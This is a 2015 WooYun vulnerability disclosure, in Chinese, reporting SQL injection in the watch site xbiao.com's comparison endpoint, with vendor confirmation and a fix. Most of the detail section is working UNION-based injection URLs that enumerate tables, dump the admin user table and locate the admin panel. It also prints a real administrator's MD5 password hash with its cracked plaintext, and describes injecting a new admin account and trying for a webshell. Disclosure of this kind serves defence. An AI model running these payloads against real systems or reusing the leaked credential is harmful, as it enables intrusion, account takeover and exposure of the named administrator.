当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124070

漏洞标题：腕表之家sql注入获取管理后台权限(暂时无法getShell)

相关厂商：xbiao.com

漏洞作者： 路人甲

提交时间：2015-07-05 16:49

修复时间：2015-08-19 18:50

公开时间：2015-08-19 18:50

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-05： 细节已通知厂商并且等待厂商处理中
2015-07-05： 厂商已经确认，细节仅向厂商公开
2015-07-15： 细节向核心白帽子及相关领域专家公开
2015-07-25： 细节向普通白帽子公开
2015-08-04： 细节向实习白帽子公开
2015-08-19： 细节向公众公开

简要描述：

通过腕表之家的商品比较界面存在sql注入漏洞可以获取管理后台权限，用户数据

详细说明：

注入地址：

http://www.xbiao.com/compare/ajaxmode?series_id=1169


注入点：

series_id


获取数据库表

http://www.xbiao.com/compare/ajaxmode?series_id=1169%20union%20select%20group_concat(table_name),2,3,user(),database(),6,7,8,9,10,11,12,14,15,16,17,18,19,20,21,22,23,24,25,26,2%20status%20from%20information_schema.tables%20where%20table_schema=database();--


1.png


获取watch_admin_user表字段信息

http://www.xbiao.com/compare/ajaxmode?series_id=1169%20union%20select%20group_concat(column_name),2,3,user(),5,6,7,8,9,10,11,12,14,15,16,17,18,19,20,21,22,23,24,25,26,2%20status%20from%20information_schema.columns%20where%20table_name=%27watch_admin_user%27;--


2.png


获取管理员信息

http://www.xbiao.com/compare/ajaxmode?series_id=1169%20union%20select%20username,2,3,id,password,6,7,8,9,10,11,12,14,15,16,17,18,19,20,21,22,23,24,25,26,2%20status%20from%20watch_admin_user;--


3.png


破解上图红色用户的md5密码

b0147264184dbdbd2f527a3233aa5d43

为

chen1989


获取watch_admin_log字段信息

http://www.xbiao.com/compare/ajaxmode?series_id=1169%20union%20select%20group_concat(column_name),2,3,user(),5,6,7,8,9,10,11,12,14,15,16,17,18,19,20,21,22,23,24,25,26,2%20status%20from%20information_schema.columns%20where%20table_name=%27watch_admin_log%27;--


4.png


获取后台地址

http://www.xbiao.com/compare/ajaxmode?series_id=1169%20union%20select%20user_name,2,3,url,insert_user,6,7,8,9,10,11,12,14,15,16,17,18,19,20,21,22,23,24,25,26,2%20status%20from%20watch_admin_log;--


5.png


猜测地址为

http://admin.xbiao.com/admin


6.png


最后通过注入insert语句生成一个管理员角色，登陆后台，相关后台界面请参看漏洞证明。
后台对于php限制做的比较齐全，暂时无法获取到webshell，望大牛指点迷津，谢谢！

漏洞证明：

7.png

8.png

修复方案：

修改商品比较界面的接手参数的拼接sql的语句

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-07-05 18:49

厂商回复：

感谢您提供的漏洞信息，bug已修复，上传类统一过滤了，只允许上传图片类型，任何非图片都不能上传。

最新状态：

暂无